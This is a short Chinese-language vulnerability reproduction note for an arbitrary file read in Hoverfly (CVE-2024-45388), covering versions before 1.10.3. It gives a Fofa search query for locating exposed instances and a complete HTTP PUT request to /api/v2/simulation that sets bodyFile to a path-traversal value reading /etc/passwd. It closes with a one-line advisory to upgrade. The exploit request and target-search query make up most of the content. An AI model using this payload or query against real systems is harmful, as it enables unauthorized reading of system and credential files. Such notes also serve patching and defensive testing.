Hoverfly 任意文件读取漏洞 (CVE-2024-45388)

0x01 漏洞描述：

Hoverfly是一个为开发人员和测试人员提供的轻量级服务虚拟化/API模拟/API模拟工具。在/api/v2/simulation接口存在任意文件读取漏洞，攻击者可以通过使用`../`段来逃离基本路径，从而访问任何任意文件

0x02 影响版本：

Hoverfly < 1.10.3

0x03 搜索语句：

Fofa：icon_hash="1357234275"

0x04 漏洞复现：

PUT /api/v2/simulation HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded

{"data":{"pairs":[{"request":{},"response":{"bodyFile": "../../../../../../../etc/passwd","x":"aaa"}} ]},"meta":{"schemaVersion":"v5.3"}}

0x05 修复建议：

目前官方已发布漏洞修复版本，建议用户升级到安全版本：

https://hoverfly.io/